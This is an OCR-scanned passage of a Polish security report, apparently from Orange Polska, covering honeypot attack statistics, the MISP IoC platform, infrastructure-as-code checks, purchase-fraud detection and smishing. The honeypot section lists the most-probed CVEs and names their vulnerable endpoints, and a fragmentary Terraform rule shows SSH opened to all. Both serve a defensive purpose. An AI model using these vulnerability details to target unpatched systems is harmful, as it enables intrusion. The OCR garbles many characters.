AS-6w byt znikomy, na tle ,reszty $wiata” pomijainy.
Wigkszos$¢ ruchu, bo az 99% mozna uznacé za prawidtowy,
jesli rozpatrywac go pod katem zgodnosci ze standardami
RFC. Pozostate 1% stanowity pakiety uszkodzone,

czy znieksztatcone, np. zawierajgce nieistniejace metody
lub wygladajgce na losowe dane binarne.

Udziat adresacji poszczegdlnych krajow w atakach
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Wiekszos$¢ ,agresywnego” ruchu mozna okresli¢

jako ukierunkowany w podstawiony CMS, a zaledwie jego
7% stanowity generyczne ataki. Ta druga grupa skupiata
w sobie caty katalog podatnosci RCE w aplikacjach
webowych oraz urzadzeniach loT, a oprécz tego przerézne
formy enumeraciji zasobéw - od skanowan narzedziami
typu DirBuster, przez poszukiwanie webshelli, do polowan
na ,antyczne” routery z wtgczong obstugg HNAP.

Nie zabrakfo oczywiscie probkowania w poszukiwaniu
aplikacji z podatnoscig Log4Shell, jednak tych atakow
byto niewiele.

Charakter ruchu sieciowego

Ataki ukierunkowane na WP 90%
Enumeracje ustug i zasobow 5%
Pozostaty ruch sieciowy 3%
Poszukiwania konkretnych luk 2%

Na tzw. ,pozostaty ruch sieciowy” sktadaty sie odwiedziny
botéw indeksujgcych, scrappery tresci, przypuszczalnie
takze zagubieni internauci — w kazdym razie, nie nosit on
znamion jakichkolwiek atakow.

Rodzaje atakéw na WordPress

Bruteforce 88,71%
Pozostate requesty 4,80%
Szukanie pluginéw 2,98%
Enumeracja useréw via API 2,93%
Enumeracja wers;ji 0,58%
()
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W samych atakach na WP krélujg proby zgadywania
haset metoda bruteforce z wykorzystaniem serwisu
XML-RPC oraz bezposrednio poprzez formularz
logowania. Agresorzy korzystali z prymitywnych
stownikéw, rzadko korelujac loginy z kontami faktycznie
istniejacych uzytkownikéw, przez co zapytan jest wiele,
a skutecznos$¢ niska. Niektdre sekwencje zapytan moga
wskazywac

na chec okreslenia wersji systemu poprzez badanie
agregatoréw RSS/Atom, jednak nie zaobserwowatem
by byto to nastepnie wykorzystane. By¢ moze narzedzia
agresoréw nie posiadaty payloadéw pod honeypotowy
wariant WP. Ostatecznie, najczesciej poszukiwanym
pluginem okazat sie by¢ WP-FileManager ktdérego
wersja 6.8 (CVE-2020-25213) pozwalata na wgranie
dowolnego pliku na serwer, bez koniecznosci
uwierzytelniania.

Oprécz WordPressa

Sposréd wszystkich sladéw poszukiwan podatnosci
niebedacych wycelowanymi w nasz CMS wyodrebnitem
5 luk, ktére agresorzy prébowali naduzywac najczesciej:

1.  PHPUnit <= 4.2.8 / < 5.6.3 Remote Code
Execution (CVE-2017-9841)
Podatno$¢ ta znajduje sie w bibliotece PHPUnit
(wersje po 4.8.19 a przed 4.8.28 i od 5.0.10 do 5.6.3)
stuzacej tworzeniu testow jednostkowych i pozwala
atakujgcemu na wykonanie kodu jezyka PHP przeka-
zanego do skryptu eval-stdin.php metoda POST.
Btad fatwy zaréwno w popetnieniu, jak i naduzyciu,
a w zwiagzku z popularnoscig w/w biblioteki dotyka
wielu CMS-6w, m.in.: Moodle i MediaWiki czy
pluginéw do systemoéw Drupal i WordPress.

2. OptiLink ONT1GEW GPON 2.1.11_x101
- Remote Code Execution
Exploit probujacy wykona¢ polecenie systemowe
na urzgdzeniu uprzednio wykorzystujgc domysine
dane dostepowe (backdoor producenta). Istota samej
podatnosci lezy w sposobie przekazywania danych
pomiedzy GUI a narzedziami w warstwie powtoki sys-
temowej. W tym konkretnym przypadku do narzedzia
odpowiedzialnego za polecenia traceroute i ping.

3. D-Link DCS-2530L/DCS-2670L Password
Disclosure (CVE-2020-25078)
Problem dotyka dwdch kamer od D-Link (DCS-2530L
— panoramiczna do uzytku domowego; DCS-2670
kamera zewnetrzna) i umozliwia nieuwierzytelnionej
osobie odczytanie hasta administratora poprzez
odwotanie do zasobu /config/getuser.

4. . Ignition <= 2.5.1 Remote Code Execution
(CVE-2021-3129)
Podatno$é spowodowana niepoprawnym uzyciem
funkciji file_get_contents() / file_put_contents()
w bibliotece Ignition (wersja 2.5.1 i wczesniejsze)
moze doprowadzi¢ do wykonania kodu przez

agresora bez koniecznosci uwierzytelnienia. Biblioteka

ta uzywana jest m.in. przez framework Laravel

(w wersji 8.4.2) i jesli utworzona na nim aplikacja
ma wigczony tryb debugowania, mozliwe jest
naduzycie luki.

5. Dasan GPON Router Multiple Vulnerabilities
(CVE-2018-10561 + CVE-2018-10562)
Atak oparty na wspotistnieniu dwéch luk w routerach
GPON od Dasan. Pierwsza pozwala na ominiecie
uwierzytelnienia poprzez prosta manipulacje
parametrami w odwiedzanym URL-u. Druga
natomiast, na wstrzykniecie polecen systemowych
dzieki niewtasciwej obstudze danych podczas
korzystania z funkcji ping.

Podsumowanie

Jak wspominatem wczesniej, poczatek byt naprawde
skromny, jednak juz w trzecim kwartale 2021 roku
honeypot wystawiat instancje innego popularnego
systemu zarzgdzania tre$cig, a obecnie putapka operuje
na 28 domenach. Co oczywiste, rozwdj narzedzia
spowodowat znaczny wzrost wolumenu ztosliwego
ruchu sieciowego i tym samym materiatu do analiz...
Whbrew oczekiwaniom nie udato sie odnotowaé atakow
z uzyciem btedéw 0-day, a takze przez caty czas
dziatania honeypota nie doszto do ani jednego udanego
przetamania. Nie zmienia to jednak faktu, ze takowe
moga nastapié.

Badanie zachowania agresorow poprzez analize schematu
dziatan narzedzi, nie tylko pozwalajg by¢ na biezgco

z rozwojem ofensywnych technik, ale, co wazniejsze,
ukrécac ich zapedy nim stracg na tym przypadkowe
osoby, w tym nasi klienci. Co zatem oczywiste - projekt
bedzie rozwijany, a towy beda trwaty nadal.

Kamil Uptas
Cyberbezpieczenstwo Orange Polska
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MISP - platforma
do wymiany loC

W dzisiejszym, cyfrowym Swiecie wypetnionym réznego
rodzaju cyberzagrozeniami, jako jednostki CERT
wspodtpracujemy przy identyfikacji i wymianie informagii

na ich temat. Chociaz sama wymiana loC wydaje sie sprawa
banalng, to tak jak nie lubimy przepisywaé koddéw ze zdjecia,
tak samo niewygodne jest kopiowanie danych pomiedzy
réznymi jednostkami i systemami — zwtaszcza, gdy dane

te sg przekazywane w postaci maili lub o zgrozo

w dokumentach pdf...

Osobag, ktorej frustracja w tej sprawie przerodzita sie

w kreatywne rozwigzanie problemu byt Christophe Vandeplas,
pracownik belgijskich sit zbrojnych — twérca platformy
CyDefSIG: Cyber Defence Signatures. Maty projekt, napisany
w CakePHP i rozwijany po godzinach pewnie zostatby szybko
zapomniany, gdyby nie fakt, ze spotkat sie z zainteresowaniem
ze strony NATO. Projekt nabrat rozmachu i zmienit nazwe

na MISP - Malware Information Sharing Platform — platforme
do wymiany informacji o cyberzagrozeniach, a takze
klasyfikacji, wymiany i korelacji loC.

Czym jest 1oC? Indicator of Compromise — wskaznik wiamania

- to aktywnosci lub obiekty, ktére zidentyfikowane w sieci
lub na urzadzeniu, $wiadczg - z duzg dozg pewnosci o tym,

MISP - przyktadowe zdarzenie

ze system zostat zaatakowany. Do loC mozemy zaliczy¢

np. sume kontrolng ztosliwego pliku (hash), URL spod jakiego
plik ten byt pobrany lub IP serwera C&C. loC moze réwniez
postuzy¢ do przeciwdziatania atakom — wiedzgc jakie

sg aktualne zagrozenia analitycy cyberbezpieczenstwa sg

w stanie w pore zablokowa¢ dostep do ztosliwych tresci.

Jest spore grono specjalistow, dla ktérych wymiana informacji
za pomocag MISP moze by¢ bardzo atrakcyjna. Oprocz
pracownikéw dziatéw operacyjnych kolejng grupa sg analitycy
ztosliwego oprogramowania - moga by¢ oni zainteresowani
nowymi ztosliwymi plikami, a takze ich zawartoscia pod katem
kluczowych fragmentéw ztosliwego kodu. Osoby budujace
Threat Intelligence majg mozliwos$¢ rozbudowania wiedzy

na temat konkretnych grup przestepczych i ich metod
dziatania. Wreszcie MISP moze by¢ przydatny przy analizie
ryzyka czy analizie oszustw finansowych.

W MISP-ie dane enkapsulowane sg w zdarzeniach (event).
Jedno zdarzenie moze zawiera¢ wiele atrybutéw. Do samej
wymiany wykorzystywany jest popularny format JSON

- budowanie zawartosci pliku w wersji bazowej doktadnie
specyfikuje dokument misp core standard. Rysunek ponizej
przedstawia przyktadowe zdarzenie z MISP — w tym wypadku
opisujgce wykorzystanie backdoora.
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Rownie wazne z perspektywy dalszej analizy, budowania
wiedzy na temat technik uzywanych przez przestepcow

czy cyklicznego raportowania jest jasne przekazanie informacji
czego dotyczy dany loC. Dla przyktadu URL moze postuzy¢
jako link do pobrania ztosliwej probki lub prowadzi¢ do
panelu logowania na spreparowanej stronie. Do kategoryzaciji
stuzy mechanizm oznaczania zdarzen i atrybutéw. Mozna
postuzy¢ sie wystepujacymi w duzej obfitosci taksonomiami
—gotowymi stownikami tagéw. Oprécz powszechnie znanego
Kill Chain opracowanego przez Lockheed Martin mozemy
wybiera¢ sposréd ponad stu trzydziestu innych taksonomii.
Konsekwentne wykorzystywanie tagdéw z danej taksonomii
pozwala na zachowanie jasnosci przekazu pomiedzy réznymi
organizacjami. Jesli szeroka gama dostepnych stownikow
jest dla kogos niewystarczajgca to zawsze mozna stworzy¢
wtasne znaczniki.

Wymiana zdarzen pomiedzy instancjami MISP
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MISP ma bardzo rozbudowane mozliwosci pod wzgledem
wspotdzielenia eventéw. Podstawowsg jednostka jest
organizacja. Na jednej instancji MISP (na jednym serwerze)
mozemy miec¢ jedna lub wiecej organizacji — patrz rysunek
powyzej — gdzie na jednym serwerze istniejg trzy organizacje
Org A, Org B, Org C. Aby mozliwa byta wymiana zdarzen
konieczne jest wykorzystanie mechanizmu synchronizacji.
Dopuszczalne jest przesytanie za pomocg mechanizmow
push lub pull. W dalszych rozwazaniach wezmiemy pod
uwage mechanizm pull.

Ta sama organizacja moze istnie¢ na roznych instancjach.
Przyktadem takiego rozwigzania moga by¢ oddziaty tej samej
organizacji, ktére sg rozsiane po wielu krajach, mogg mie¢
wiele instancji MISP, a na kazdej bedzie jedna i ta sama
organizacja. Stworzenie i opublikowanie zdarzenia bedzie
skutkowato jego propagacja na inne instancje tej samej
organizacji - analitycy cyberbezpieczenstwa w jednym

z krajéw, moga w efektywny sposéb poinformowac inne
dziaty o globalnym dla ich firmy zagrozeniu.

Standardowo wspétdzielenie zdarzenia mozna ograniczy¢
do przesytania w ramach jednej organizacji; kilku organizacji
potaczonych we wspdlnote (community); pomiedzy
wspolnotami lub bez ograniczen — zdarzenie

publicznie dostepne.

event: (81753) New TURLA JS backdoor

Kolejna bardzo wazng zaleta MISP-a jest mozliwo$é
korelowania zdarzen pomiedzy soba. W graficzny sposdb
(Rysunek 3) wyswietlajg sie nam zdarzenia oraz atrybuty,
ktére miaty ze sobg co$ wspdlnego. Oczywiscie im bardziej
rozbudowana jest atrybucja zdarzenia tym fatwiej o wykrycie
podobienstw. Warto zwréci¢ uwage na wykorzystywanag
przez przestepcow infrastrukture, adresy IP i inne atrybuty

o potencjalnie dtuzszym czasie wykorzystania. Z oczywistych
wzgledéw w tym teksScie nie zdradzamy doktadnie jakich
atrybutéw uzywamy do korelacji.

Graficzne przedstawienie korelacji pomiedzy
zdarzeniami w MISP
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Na $wiecie spoteczno$¢ wykorzystujaca MISP-y jest

duza i stale rosnie. Obecnie jest ponad 1200 organizaciji

i ponad 4000 aktywnych kontrybutoréw. Organizacje
tacza sie tworzac odizolowane wyspy lub decyduja sie

na mniej lub bardziej restrykcyjng wymiane loC pomiedzy
wspolnotami. Wiele z tych instytucji nalezy do sektora
finansowego (banki, organizacje zajmujace sie ptatnosciami),
czy wojskowego; czesto sg to miedzynarodowe podmioty.
Czes$¢ organizacji dofgczajgca do wymiany jest
zainteresowana wspétdzieleniem tylko loC dotyczgcych
specyficznego zagadnienia (np. Covid-19).

W Orange Polska od kilku lat wykorzystujemy MISP
na potrzeby budowania Threat Intelligence. Jako duza
firma i operator mamy szerokie spektrum miejsc, dzieki
ktérym mozemy pozyskac¢ ztosliwe URL-e lub prébki.
Jednym z powszechnie znanych kanatéw sa skrzynki
pocztowe - emaile zgtaszane przez pracownikéw jako
ztodliwe, ale takze wiadomosci klasyfikowane jako
ztosliwe, wykrywane w procesie zautomatyzowanej
analizy. Zbieramy takze dane z rozmieszczonych

w réznych miejscach honeypotéw o mniejszym

lub wiekszym stopniu interakcji, a takze analizujemy
podejrzany ruch na zaporach aplikacyjnych (WAF).
Korzystamy z sond skanujgcych ruch sieciowy

pod katem przesytanego ztosliwego oprogramowania
oraz wzorcéw ruchu (np. beaconing). Oprocz tego
analizujemy wiele otwartych zrédet threat intelligence
w poszukiwaniu nowych zagrozen, ktére jeszcze

nie pojawity sie w naszej sieci.
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Wykorzystanie MISP w Orange

Wszystkie te dane trafiajg na zautomatyzowane
procesy analizy, w sktad ktérych wchodza sandboxy,
narzedzia do ekstrakcji konfiguracji oraz innego rodzaju
systemy do atrybucji. Dzieki temu mozemy korelowaé

i grupowac z pozoru rézne incydenty. Wykorzystanie
réznych kanatéw i zbieranie ich w jednej relacyjnej
bazie sprawia, ze mamy bogatg dokumentacje
zdarzenia — od wektora inicjujgcego po dane serwerdéw
zarzadzajacych malware’em. Takie podejscie pozwala
na s$ledzenie narzedzi i technik aktualnie
wykorzystywanych przez przestepcédw co jest
niezwykle wazne w kontekscie podejmowania
adekwatnych krokéw prewencyjnych. Potaczenie
wiedzy na temat zagrozen z informacjami

sieciowymi — liczba prob potaczen z danym

IP lub domeng pozwala na szybkie rozpoznanie
poczatku i korica kampanii phishingowych jakie
podejmujg przestepcy.
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Od pewnego czasu staramy sie takze szerzyc¢ idee
wymiany loC pomiedzy réznymi jednostkami w celu
ograniczenia cyberprzestepczosci. Dzieki wykorzystaniu
potencjatu platformy MISP tworzymy wspoélnote
zaufanych podmiotow, zwiekszamy zakres analiz

i wykrywalnosc¢ ztosliwych tresci. Jako operator

mamy unikalng mozliwo$¢ blokowania ztosliwych
potfaczen i tresci.

Dotychczas blokowali$my gtéwnie tresci wykrywane
przez nasze wtasne systemy sztucznej inteligencji (Al),
ale wraz ze wzrostem wspotpracy rosnie odsetek
zablokowanych ztosliwych tresci zgtaszanych przez
inne zaufane podmioty. Blokowanie tresci odbywa

sie w sposob semi-automatyczny — po weryfikacji
blokada zatwierdzana jest przez analitykéw pierwszej
linii. Systemem posredniczgcym w tym procesie

jest system automatyzujgcy SOAR, ktéry znacznie
utatwia ergonomie pracy operatoréw.

MISP to kolejny produkt otwartego oprogramowania
jaki jest operacyjnie wykorzystywany w Orange Polska.
Warto zauwazy¢, ze kilkuletnie do$wiadczenie pozwolito
tworcom tej platformy na zbudowanie rozwigzania
Swietnie wpisujgcego sie w potrzeby jednostek
cyberbezpieczenstwa.

Wymiana loC za pomoca MISP, odpowiednie
klasyfikowanie zdarzen i wykorzystanie systeméw
automatyzujgcych (SOAR) pozwala na znacznie
szybsza reakcje i redukuje do minimum czas

od wykrycia do zablokowania ztosliwych tresci.
Wszystkie te dziatania realnie przektadajg

sie na zwiekszenie bezpieczenstwa uzytkownikow
sieci Orange.

Grzegorz Tyszka
Cyberbezpieczenstwo Orange Polska

Migracja do chmury publicznej
- mozliwosci i zagrozenia

W ciggu ostatnich lat zauwazamy znaczny wzrost
zainteresowania infrastrukturag tzw. chmury publicznej.
Wedtug dostepnych analiz 2 trend ten powinien utrzymac
sie w kolejnych latach, co przektada¢ bedzie sie na wzrost
przychoddw z ustug dostarczanych w zaréwno w modelu
laa$S jak i SaaS. Wsréd powoddw, przez ktdre organizacje
decyduijag sie na migracje do chmury publicznej najczesciej
wymienia sie: zmniejszenie kosztéw, skalowalnosc,
niezawodnos$¢, zwiekszona elastyczno$¢ oraz mozliwos$é
skorzystania z nowych technologii i narzedzi.

Z punktu widzenia cyberbezpieczenstwa zmiana charakteru
udostepniania ustug (w stosunku do modelu, w ktérym
aplikacje byty uruchamiane w serwerowni firmy) wprowadza
nowe mozliwosci, ale tez i zagrozenia. katwos¢ z jaka
programisci i administratorzy moga wykonywac niektore
operacje komplikuje analize i weryfikacje tego, co i w jaki
sposob jest uruchamiane w kontekscie konkretnego systemu.
W przypadku cyklu zycia oprogramowania w modelu CICD
zapewnienie bezpieczenstwa byto proste, bo polegato

na uruchamianiu odpowiednio przygotowanych testéw
podatnosci w taficuchu dostarczania oprogramowania.

Z kolei rozwigzania oparte na najnowszych technologiach

w infrastrukturze chmury publicznej, gdzie kodem Zrédtowym
wytwarzanym przez zespoty projektowe oprécz samej
aplikaciji jest ten, ktéry uruchamia infrastrukture, na ktorej
jest osadzona, sprawy sie komplikujg. Fakt, ze wszystko
realizowane jest w automatyczny sposob przez przygotowane
mechanizmy i skrypty nie utatwia zadania ekspertom
bezpieczenstwa. W takim modelu btgd w konfiguracji moze
by¢ szczegdlnie niebezpieczny a nie zapominajmy, ze btedy
typu ,,misconfiguration” 3 prowadzg do umozliwienia znacznej
liczby udanych atakéw cybernetycznych.

Monitorowanie zdarzen w chmurze
publicznej jest niezwykle istotne.
Niekiedy jednak niewystarczajace.
W niektorych przypadkach wykrycie
zdarzenia niepoprawnej konfiguraciji,
kiedy ta zostata juz wdrozona

i funkcjonuje na srodowisku

produkcyjnym, a w efekcie nawet
zareagowanie na takiae zdarzenie,
udostepnia krotkie okno czasu

w jakim cyberprzestepca moze
skorzystaé z udostepnionej luki
bezpieczenstwa.

CICDilaC

W inzynierii oprogramowania termin CICD (ang. Continous
Integration Continous Deployment) funkcjonuje od bardzo
dawna. Z technicznego punktu widzenia implementacja
CICD w cyklu zycia aplikacji polega na zautomatyzowaniu
czesci powtarzanych operaciji takich jak uruchomienie
testéw (jednostkowych, integracyjnych czy bezpieczenstwa),
zbudowanie aplikacji, udostepnieniu aplikacji w rejestrze
oraz uruchomieniu nowej ich wersiji (najpierw na
Srodowiskach testowych a nastepnie na produkcyjnym).

Przyktadowy fancuch dostarczenia oprogramowania4

CI/CD Pipeline
o= = -
@ g2 & o
N\ @239 e= °Jip*
Commit Trigger Build Notify of Run Notify of Deliver build Deploy
change build build tests test to ‘where

outcome outcome environment  necess: ary

Korzystajac z mozliwosci, ktoére udostepniajg dostawcy
chmur publicznych, pozwalajacych na realizacje
wszystkich operacji przez interfejs API, uruchamianie

i konfigurowanie infrastruktury, na ktérej uruchamiane

sg aplikacje réwniez moze by¢ w znacznym stopniu
realizowane w sposéb automatyczny oraz
zaimplementowaniew kodzie Zzrédtowym. Opisanie
maszyny wirtualnej, load-balancera czy reguty firewall
kilkoma liniami kodu Zrédfowego a nastepnie uruchomienie
takiej ,aplikacji” odpowiednig komenda - jest prostym

i powtarzalnym zadaniem. Tak przygotowany kod
infrastruktury moze by¢ uruchamiany analogicznie

jak kod aplikacji w procesie CICD przedstawionym

na Rys.: ,Przyktadowy faricuch dostarczenia oprogramowania”.
Podejscie to umozliwia powstanie takich scenariuszy,

w ktérych infrastruktura jest tworzona tylko na czas realizacji
testéw aplikacji po czym catos$¢ jest usuwana. Przektada
sie to w znacznym stopniu na koszty — w $rodowiskach
chmurowych optaty pobierane sa wtedy, kiedy
wykorzystywana infrastruktura jest uruchomiona.

Weryfikacja bezpieczenstwa kodu laC

Wiekszos¢ projektéw laC (Infrastructure as Code) wykorzystuje
jezyk Terraform w celu opisu infrastruktury, ktory posiada
biblioteki do obstugi obiektéw dla najwiekszych dostawcow
rozwigzan chmurowych takich jak AWS, GCP czy Azure.
Rys.: ,,Przyktad kodu terraform dla GCP definiujgcy regute FW”
przedstawia przyktad kodu terraform dla platformy GCP,
ktory tworzy regute FW. Wedtug zawartej definicji reguta
sotwiera” port 22 dla wszystkich urzadzen we wskazanej
sieci i umozliwia potaczenia przychodzace ,,zewszad”.

2 https://www.reportlinker.com/p05749258/Cloud-Computing-Market-by-Service-Deployment-Model-Organization-Size-Work-

load-Vertical-And-Region-Global-Forecast-to.html?utm source=GNW

3 https://www.verizon.com/business/resources/reports/2021/2021-data-breach-investigations-report.pdf

4 Zrédto: https://hackernoon.com/understanding-the-basic-concepts-of-cicd-fw4k32s1
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Przyktad kodu terraform dla GCP definiujacy regute FW

"allow_traffic_ssh" {

Umozliwienie stworzenia takiej reguty w potaczeniu z sytuacja,
w ktoérej DevOps celowo lub przez pomytke udostepnit maszyne
wirtualng z domysinym hastem moze doprowadzi¢ do realizaciji
bardzo powaznego w skutkach ataku.

W przypadku tradycyjnego modelu organizacyjnego,

gdzie infrastruktura dostarczana jest przez uprawniony

do tego zespdt, splot takich wydarzen (zbyt szeroki zakres
dostepu na FW oraz domysine hasto na maszynie wirtualnej)
zostatby wykryty dopiero na etapie testow bezpieczenstwa
(pentestéw lub testéw automatycznych). W przypadku
chmury publicznej bytoby na to juz zdecydowanie za pdzno.

W modelu laC kod infrastruktury nalezy traktowac jak aplikacje

i tak jak aplikacje testowac. Dostepnych jest kilka rozwigzan typu
open source, ktére umozliwiajg statyczng analize kodu laC.

Na wczesnym etapie pozwala ona wykry¢ problemy lub
niezgodnosci z przyjeta politykg bezpieczenstwa. Aplikacje
takie jak TfScan, Checkov czy KICS dajg mozliwo$¢é wykrywania
problemoéw $wiadczacych o wytgczeniu mechanizmoéw
bezpieczenstwa tj.: ,SQL DB Instance With SSL Disabled”

czy ,Node Auto Upgrade Disabled” czy nieodpowiednim
zakresie uprawnien: ,,Not Proper Email Account In Use”, ,KMS
Crypto Key is Publicly Accessible”. Dodatkowo mozliwe jest
definiowane swoich wtasnych regut, ktére moga weryfikowaé
zgodnos$é z wewnetrznymi regulacjami w organizacji.

Tak przygotowany zestaw testowy dla kodu laC

uruchamiany za kazdym razem, gdy Cl wykryt zmiane
w odpowiednim module pozwala na reakcje
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(zablokowanie wdrozenia infrastruktury) jak tylko
wykryte zostang problemy $wiadczgce o niezgodnosci
z polityka bezpieczenstwa.

W opisywanym na poczatku scenariuszu (Rys. ,Przyktad
kodu terraform dla GCP definiujgcy regute FW”) reguta FW
nie zostataby wdrozona z uwagi na zgtoszony wczesniej
problem bezpieczenstwa. Niestety Swiat nie jest czarno-biaty
i musi istnie¢ mechanizm pozwalajgcy na implementacje
odstepstw. Nietrudno sobie wyobrazi¢ potrzebe wdrozenia
opisanej reguty FW pozwalajacej na globalne otwarcie

ruchu SSH np. na potrzeby dziatania bastion-hosta.

Podsumowanie

Monitorowanie zdarzen w chmurze publicznej jest

niezwykle istotne. Niekiedy jednak niewystarczajgce.

W niektérych przypadkach wykrycie zdarzenia niepoprawne;j
konfiguraciji, kiedy ta zostata juz wdrozona i funkcjonuje

na srodowisku produkcyjnym, a w efekcie nawet zareagowanie
na takie zdarzenie, udostepnia krotkie okno czasu w jakim
cyberprzestepca moze skorzystaé z udostepnionej luki
bezpieczenstwa.

Migracja do infrastruktury chmury publicznej wprowadza
wiele zagrozen, ale i korzysci. Jedna z nich jest wspomniana
wczesniej mozliwosé opisu wykorzystywanej infrastruktury
za pomoca kodu Zrédtowego. Kodu, ktdéry mozemy testowac
i weryfikowac jeszcze przed jego uruchomieniem, a co za tym
idzie, nie pozwoli¢ na to, aby niepoprawnie skonfigurowana
infrastruktura zostata uruchomiona.

Pod tym katem zespoty bezpieczenstwa moga wiele nauczy¢
sie od programistéw, ktérzy opieraja sposob dziatania
procesu CICD na wynikach z przygotowanych wczesniej
testow, ktére realizowane sg na kazdym poziomie aplikacii.
Z biznesowego punktu widzenia jest niewiele gorszych
rzeczy od dostarczenia klientowi niedziatajgcej aplikaciji
(poza aplikacja zawierajgca krytyczne podatnosci
bezpieczenstwa). Testy bezpieczenstwa w procesie CICD
powinny by¢ realizowane z nie mniejsza starannoscia.
Narzedzia sg dostepne.

Grzegorz Siewruk
Cyberbezpieczenstwo Orange Polska

Nasze dane i zakupy
w internecie

Kto z nas nie lubi kupowac przez internet? Kazdy lubi,
wygoda, mozna spokojnie obejrzeé¢, poréwnac,
przeanalizowac to co nas interesuje bez presji i pospiechu,
wybrac sposoéb dostarczenia przesyiki i nawet skorzystac
z odroczonej ptatnosci. Korzystanie z dobrodziejstw
technologii oprocz niewatpliwych zalet, niesie ze sobg

tez kilka ryzyk, ktérych trzeba byé swiadomym.

Okoto 140 tys. alertow zwigzanych z potencjalnie
nieuprawniong préba zakupu w kanatach zdalnych
obstuzono w 2021 w Orange Polska. Robi wrazenie, prawda?

Nie wszystkie te alerty sg takiej samej wagi, ale wszystkie
wymagajg analizy.

Jak to dziata

Wymagane jest zebranie danych, ich analiza i podjecie
decyzji. Nic prostszego, jakby sie mogto wydawac.

Oszusci nie $pig, ciagle zmieniaja schematy dziatania,
pozyskujg coraz lepsze jako$ciowo dane, czasem

z niewiarygodnych wrecz zrédet... Wielu z nas zna kogos,
kto padt ofiarg nieautoryzowanego i niechcianego zakupu
towarow, ustug, wziecia kredytu, a nawet choéby

i samej proby.

Oszusci (obecnie coraz czesciej zorganizowane grupy
przestepcze) - stosujg boty do testowania danych
uwierzytelniajgcych w réznych serwisach lub danych
okreslajacych wprost nasza tozsamos¢ (PESEL, numeru do-
kumentu, itp.), uzyskanych w wyniku wycieku z dowolnego
zrédta, a nawet zakupionych w darknecie. W pierwszym
przypadku zaktadajg, ze ofiara uzyta tej samej kombinaciji
danych uwierzytelniajacych w wielu witrynach. W drugim
przypadku, posiadajgc dane osobowe, oszusci moga
zatozy¢ konto w dowolnym serwisie i przej$¢ pozytywna
weryfikacje. Grozi to powaznymi konsekwencjami. Oprocz
zdroworozsgdkowego pilnowania swoich danych, zmiany
haset, stosowania roznych kombinacji w ré6znych serwisach
warto tez stosowac zabezpieczenia typu menedzery haset
badz ustugi typu Zabezpiecz Pesel i/lub Alerty BIK.

Moze nas to uchroni¢ przed nieoczekiwanym zakupem

lub kredytem. Cata sztuka polega na tym, zeby sprawdzi¢
czy zamawiajacy to faktycznie zamawiajacy, sam fakt,

ze zna dane uwierzytelniajgce i dane osobowe moze byé
bowiem ztudny.

Do walki z prébami tego typu oszustw wdrozyli$my rozwigzanie
oparte na kombinacji algorytméw eksperckich, robotéw

i uczeniu maszynowym. Na samym koncu sg tez oczywiscie
ludzie, ktérzy czuwajg nad poprawnoscig procesu.

W pierwszym kroku system automatycznie zbiera potrzebne
dane z réznych zrédet. W kolejnym poddaje je analizie,
ktérej wynikiem jest lista przypadkéw z uwzglednieniem
prawdopodobienstwa, poczawszy od zdarzeh generujgcych
najwyzsze ryzyko. Efektem jest decyzja co do dalszego

procesowania zaméwienia.

Stosowanych jest wiele typow algorytmow — iloSciowe,
kumulacyjne, logiczne, podobienstwa, powigzania,
referencje, geograficzne, analizy darknet itd. Algorytmy
w trybie ciagtym podlegajg ewaluacji, sa zasilane
dodatkowymi danymi, parametryzowane, wzbogacane
schematami i nowymi sekwencjami mozliwych zdarzen.

Réwnie wazne jak wiedza o tworzeniu algorytméw od strony
technicznej jest stosowanie usystematyzowanego podejscia:

a) dobre zrozumienie procesu

b) okreslenie stabych punktow

c) pozyskiwanie danych i proces zasilania nimi

d) formuly analityczne i proces, ktéry dostarczy
oczekiwanych rezultatéw

e) praca nad poprawg efektywnosci

Whiosek jest taki, ze im wiecej danych zgromadzimy i wiecej
zmiennych oraz algorytmow zastosujemy, tym lepsze rezultaty
osiggniemy w zakresie oceny podejrzanych transakciji.

Pomimo, ze algorytmy dziatajg $wietnie i maksymalizuja
efekt zwiekszajgc bezpieczenstwo transakcji dla klientéw
Orange, jednak zawsze mozna zrobié¢ co$ wiecej.

Oszusci rozwijajg sie nieustannie, dlatego szybko
przekonali$my sie, ze proste algorytmy, ktére wczesniej
przeciwdziataty sporej czesci nieautoryzowanych préb
zawierania transakcji, z czasem stawaty sie mniej efektywne.
Aby zachowaé bezpieczenstwo transakcji, wdrozyliSmy
machine learning jako kolejne narzedzie do wsparcia pro-
cesu podejmowania decyzji fraud / nie fraud.

Efekty

Okoto 100 algorytmoéw analizujacych rézne dane
wspomaganych uczeniem maszynowym

Powstrzymane préby nieautoryzowanych zakupdw — w ciggu
kilku lat to grube miliony ztotych, a zaczynalismy od kilku
kontrolek...

We wspbdtpracy z policja rozbitych zostato kilka grup
przestepczych, ktdre zawodowo zajmowaly sie zamawianiem
ustug i wytudzaniem na kradzione dane na szerszg skale
(banki, telekomy, chwildwki itp.).

Pamietajmy, warto chroni¢ swoje dane, bo nawet najlepsze
algorytmy moga nie poradzi¢ sobie z sytuacjg, w ktorej
przestepcy uzyja waszych prawdziwych danych!

Jacek Lewandowski

Zarzadzanie ochrona przychodéw
i naduzyciami
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Smishing, vishing coraz
bardziej grozny - co robi¢?

Smishing

Skala problemu

Zgodnie z naszymi przewidywaniami z zesztorocznego
raportu zjawisko smishingu w 2021 roku bardzo sie

nasilito. W skali kraju méwimy nawet o setkach tysiecy
SMS-éw dziennie. Do takiej skali przyczynit sie z pewnoscia
malware Flubot, ktéry bez wiedzy uzytkownika jest w stanie
wystac z jego terminala nawet kilka tysiecy ztosliwych
SMS-6w dziennie, aby terminale kolejnych oséb

zostaty zainfekowane.

Najwiekszym problemem
zidentyfikowanym w 2021

roku byly fatszywe potaczenia
generowane z zagranicy

z numerow infolinii bankowych,
ktére w konsekwenciji dalszych

dziatan przestepcow

z wykorzystaniem szeregu
socjotechnik czesto prowadzity
do kradziezy pieniedzy

z kont bankowych ofiar.

Dlaczego caty czas mamy
z tym problem?

Poczatkowo smishing generowany byt gtéwnie za pomoca
SMS-6w A2P (Application to Person) z nadpiséw
alfanumerycznych, co utatwiato podszycie sie pod
powszechnie rozpoznawalne firmy i instytucje — banki,
urzedy, portale aukcyjne, firmy kurierskie i telekomunika-
cyjne i zwiekszato skutecznos¢ smishingu. Poniewaz
operatorzy podjeli walke z tym procederem i coraz
skuteczniej zaczeli blokowac konkretne nadpisy
wykorzystywane do smishingu, przestepcy stopniowo
zaczeli przestawiac sie na SMS-y P2P (Person to
Person) prezentujace sie numerem MSISDN przypisanym
karcie SIM, z ktorej wysytany jest SMS. Do tego doszedt
tez smishing wysytany przez malware zainstalowany

